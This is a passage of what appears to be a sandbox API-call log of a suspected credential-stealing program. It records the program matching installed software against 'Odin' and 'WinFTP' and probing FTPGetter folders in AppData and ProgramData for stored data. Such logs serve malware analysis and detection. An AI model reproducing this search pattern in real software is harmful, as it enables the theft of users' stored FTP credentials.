(lpFirst="{90140000-0054-0409-0000-0000000FF1CE}Microsoft Office Visio MUI (English) 2010", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}_Office14.VISIOR_{CDC4310F-8189-485F-B47D-D972217CE173}Microsoft Office 2010 Language Pack Service Pack 1 (SP1)", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}Microsoft Office Shared MUI (English) 2010", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-00A1-0409-0000-0000000FF1CE}Microsoft Office OneNote MUI (English) 2010", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}Microsoft Office Project MUI (English) 2010", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}_Office14.PRJPROR_{18A0C151-8F8A-4B68-A960-60C464B94329}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-00BA-0409-0000-0000000FF1CE}Microsoft Office Groove MUI (English) 2010", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}Microsoft Office Shared Setup Metadata MUI (English) 2010", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-0117-0409-0000-0000000FF1CE}Microsoft Office Access Setup Metadata MUI (English) 2010", lpSrch="Odin") returned 0x0 [0071.148] StrStrIA (lpFirst="{91140000-0011-0000-0000-0000000FF1CE}Microsoft Office Professional Plus 2010", lpSrch="Odin") returned 0x0 [0071.148] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}Microsoft Office Project Professional 2010", lpSrch="Odin") returned 0x0 [0071.148] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}_Office14.PRJPROR_{8A8F117F-8EDB-440D-B679-F08909D729F7}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="Odin") returned 0x0 [0071.148] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}Microsoft Office Visio 2010", lpSrch="Odin") returned 0x0 [0071.148] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}_Office14.VISIOR_{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}Microsoft Visio 2010 Service Pack 1 (SP1)", lpSrch="Odin") returned 0x0 [0071.148] StrStrIA (lpFirst="{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033Microsoft .NET Framework 4.6", lpSrch="Odin") returned 0x0 [0071.148] StrStrIA (lpFirst="{9BE518E6-ECC6-35A9-88E4-87755C07200F}Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", lpSrch="Odin") returned 0x0 [0071.148] StrStrIA (lpFirst="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}Adobe Reader X MUI", lpSrch="Odin") returned 0x0 [0071.153] StrStrIA (lpFirst="{B175520C-86A2-35A7-8619-86DC379688B9}Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", lpSrch="Odin") returned 0x0 [0071.153] StrStrIA (lpFirst="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", lpSrch="Odin") returned 0x0 [0071.153] StrStrIA (lpFirst="{e6e75766-da0f-4ba2-9788-6ea593ce702d}Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", lpSrch="Odin") returned 0x0 [0071.153] StrStrIA (lpFirst="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", lpSrch="Odin") returned 0x0 [0071.153] StrStrIA (lpFirst="{f325f05b-f963-4640-a43b-c8a494cdda0f}Microsoft Visual C++ 2017 Redistributable (x86) - 14.10.25017", lpSrch="Odin") returned 0x0 [0071.153] StrStrIA (lpFirst="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", lpSrch="Odin") returned 0x0 [0071.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0071.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0071.153] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x10, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0071.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0071.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0071.153] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0071.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0071.153] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0071.153] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x8) returned 0x0 [0071.153] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fec8*=0x0, cb=0x4, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x4) returned 0x0 [0071.153] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fedc*=0x2b, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0071.153] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x0, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0071.153] StrStrIA (lpFirst="Adobe Flash Player ActiveXAdobe Flash Player 10 ActiveX", lpSrch="WinFTP") returned 0x0 [0071.153] StrStrIA (lpFirst="Adobe Flash Player PluginAdobe Flash Player 10 Plugin", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="Google ChromeGoogle Chrome", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="Mozilla Firefox 25.0 (x86 en-US)Mozilla Firefox 25.0 (x86 en-US)", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="MozillaMaintenanceServiceMozilla Maintenance Service", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="Office14.PRJPRORMicrosoft Project Professional 2010", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="Office14.PROPLUSRMicrosoft Office Professional Plus 2010", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="Office14.VISIORMicrosoft Visio Professional 2010", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{26A24AE4-039D-4CA4-87B4-2F83217045FF}Java 7 Update 45", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{444C5574-6BE0-323E-9BDD-922F6C3C4A04}Microsoft .NET Framework 4.6", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{582EA838-9199-3518-A05C-DB09462F68EC}Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{68306422-7C57-373F-8860-D26CE4BA2A15}Microsoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}Microsoft Visual C++ 2005 Redistributable", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{90140000-0015-0409-0000-0000000FF1CE}Microsoft Office Access MUI (English) 2010", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{90140000-0016-0409-0000-0000000FF1CE}Microsoft Office Excel MUI (English) 2010", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{90140000-0018-0409-0000-0000000FF1CE}Microsoft Office PowerPoint MUI (English) 2010", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{90140000-0019-0409-0000-0000000FF1CE}Microsoft Office Publisher MUI (English) 2010", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{90140000-001A-0409-0000-0000000FF1CE}Microsoft Office Outlook MUI (English) 2010", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{90140000-001B-0409-0000-0000000FF1CE}Microsoft Office Word MUI (English) 2010", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}Microsoft Office Proof (English) 2010", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PRJPROR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}Microsoft Office Proof (French) 2010", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PRJPROR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PROPLUSR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}Microsoft Office Proof (Spanish) 2010", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PRJPROR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PROPLUSR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="WinFTP") returned 0x0 [0071.154] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}Microsoft Office Proofing (English) 2010", lpSrch="WinFTP") returned 0x0 [0071.155] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PRJPROR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="WinFTP") returned 0x0 [0071.155] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="WinFTP") returned 0x0 [0071.155] StrStrIA (lpFirst="{90140000-0044-0409-0000-0000000FF1CE}Microsoft Office InfoPath MUI (English) 2010", lpSrch="WinFTP") returned 0x0 [0071.155] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}Microsoft Office Visio MUI (English) 2010", lpSrch="WinFTP") returned 0x0 [0071.155] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}_Office14.VISIOR_{CDC4310F-8189-485F-B47D-D972217CE173}Microsoft Office 2010 Language Pack Service Pack 1 (SP1)", lpSrch="WinFTP") returned 0x0 [0071.155] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}Microsoft Office Shared MUI (English) 2010", lpSrch="WinFTP") returned 0x0 [0071.155] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="WinFTP") returned 0x0 [0071.155] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="WinFTP") returned 0x0 [0071.155] StrStrIA (lpFirst="{90140000-00A1-0409-0000-0000000FF1CE}Microsoft Office OneNote MUI (English) 2010", lpSrch="WinFTP") returned 0x0 [0071.155] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}Microsoft Office Project MUI (English) 2010", lpSrch="WinFTP") returned 0x0 [0071.155] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}_Office14.PRJPROR_{18A0C151-8F8A-4B68-A960-60C464B94329}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="WinFTP") returned 0x0 [0071.155] StrStrIA (lpFirst="{90140000-00BA-0409-0000-0000000FF1CE}Microsoft Office Groove MUI (English) 2010", lpSrch="WinFTP") returned 0x0 [0071.155] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}Microsoft Office Shared Setup Metadata MUI (English) 2010", lpSrch="WinFTP") returned 0x0 [0071.155] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="WinFTP") returned 0x0 [0071.155] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="WinFTP") returned 0x0 [0071.155] StrStrIA (lpFirst="{90140000-0117-0409-0000-0000000FF1CE}Microsoft Office Access Setup Metadata MUI (English) 2010", lpSrch="WinFTP") returned 0x0 [0071.155] StrStrIA (lpFirst="{91140000-0011-0000-0000-0000000FF1CE}Microsoft Office Professional Plus 2010", lpSrch="WinFTP") returned 0x0 [0071.155] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}Microsoft Office Project Professional 2010", lpSrch="WinFTP") returned 0x0 [0071.155] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}_Office14.PRJPROR_{8A8F117F-8EDB-440D-B679-F08909D729F7}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="WinFTP") returned 0x0 [0071.155] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}Microsoft Office Visio 2010", lpSrch="WinFTP") returned 0x0 [0071.156] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}_Office14.VISIOR_{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}Microsoft Visio 2010 Service Pack 1 (SP1)", lpSrch="WinFTP") returned 0x0 [0071.156] StrStrIA (lpFirst="{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033Microsoft .NET Framework 4.6", lpSrch="WinFTP") returned 0x0 [0071.156] StrStrIA (lpFirst="{9BE518E6-ECC6-35A9-88E4-87755C07200F}Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", lpSrch="WinFTP") returned 0x0 [0071.156] StrStrIA (lpFirst="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}Adobe Reader X MUI", lpSrch="WinFTP") returned 0x0 [0071.156] StrStrIA (lpFirst="{B175520C-86A2-35A7-8619-86DC379688B9}Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", lpSrch="WinFTP") returned 0x0 [0071.156] StrStrIA (lpFirst="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", lpSrch="WinFTP") returned 0x0 [0071.156] StrStrIA (lpFirst="{e6e75766-da0f-4ba2-9788-6ea593ce702d}Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", lpSrch="WinFTP") returned 0x0 [0071.156] StrStrIA (lpFirst="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", lpSrch="WinFTP") returned 0x0 [0071.156] StrStrIA (lpFirst="{f325f05b-f963-4640-a43b-c8a494cdda0f}Microsoft Visual C++ 2017 Redistributable (x86) - 14.10.25017", lpSrch="WinFTP") returned 0x0 [0071.156] StrStrIA (lpFirst="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", lpSrch="WinFTP") returned 0x0 [0071.156] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0071.156] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0071.156] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x10, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0071.156] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0071.156] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0071.156] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0071.156] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0071.156] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0071.156] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0071.156] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0071.156] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x2c, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0071.156] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0071.156] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="CLSID\\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\\InProcServer32", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0071.157] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="CLSID\\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\\InProcServer32", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0071.157] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="CLSID\\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\\InProcServer32", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0071.157] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0071.157] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0071.157] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0071.157] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0071.157] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0071.157] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0071.157] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0071.157] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0071.157] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0071.157] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0071.157] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x2d, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0071.157] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0071.157] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0071.157] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0071.157] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0071.157] lstrlenA (lpString="\\FTPGetter") returned 10 [0071.157] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647440 [0071.157] lstrcpyA (in: lpString1=0x647440, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0071.157] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\FTPGetter" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPGetter") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPGetter" [0071.157] LocalFree (hMem=0x626a88) returned 0x0 [0071.157] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPGetter") returned 42 [0071.158] lstrlenA (lpString="\\*.*") returned 4 [0071.158] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x6474f8 [0071.158] lstrcpyA (in: lpString1=0x6474f8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPGetter" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPGetter") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPGetter" [0071.158] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPGetter", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPGetter\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPGetter\\*.*" [0071.158] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPGetter\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0071.158] LocalFree (hMem=0x6474f8) returned 0x0 [0071.158] LocalFree (hMem=0x647440) returned 0x0 [0071.158] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0071.158] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0071.158] lstrlenA (lpString="C:\\ProgramData") returned 14 [0071.158] lstrlenA (lpString="\\FTPGetter") returned 10 [0071.158] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x65e350 [0071.158] lstrcpyA (in: lpString1=0x65e350, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0071.158] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FTPGetter" | out: lpString1="C:\\ProgramData\\FTPGetter") returned="C:\\ProgramData\\FTPGetter" [0071.158] LocalFree (hMem=0x626a88) returned 0x0 [0071.158] lstrlenA (lpString="C:\\ProgramData\\FTPGetter") returned 24 [0071.158] lstrlenA (lpString="\\*.*") returned 4 [0071.158] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x641518 [0071.158] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData\\FTPGetter" | out: lpString1="C:\\ProgramData\\FTPGetter") returned="C:\\ProgramData\\FTPGetter" [0071.158] lstrcatA (in: lpString1="C:\\ProgramData\\FTPGetter", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\FTPGetter\\*.*") returned="C:\\ProgramData\\FTPGetter\\*.*" [0071.158] FindFirstFileA (in: lpFileName="C:\\ProgramData\\FTPGetter\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0071.158] LocalFree (hMem=0x641518) returned 0x0 [0071.158] LocalFree (hMem=0x65e350) returned 0x0 [0071.158] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0071.158] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0071.158] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0071.158] lstrlenA (lpString="\\FTPGetter") returned 10 [0071.158] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647440 [0071.158] lstrcpyA (in: lpString1=0x647440, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0071.158] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\FTPGetter" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPGetter") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPGetter" [0071.158] LocalFree (hMem=0x626a88) returned 0x0 [0071.158] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPGetter") returned 40 [0071.158] lstrlenA (lpString="\\*.*") returned 4 [0071.158] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x6474f8 [0071.158] lstrcpyA (in: lpString1=0x6474f8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPGetter" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPGetter") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPGetter" [0071.158] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPGetter", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPGetter\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPGetter\\*.*" [0071.158] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPGetter\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) 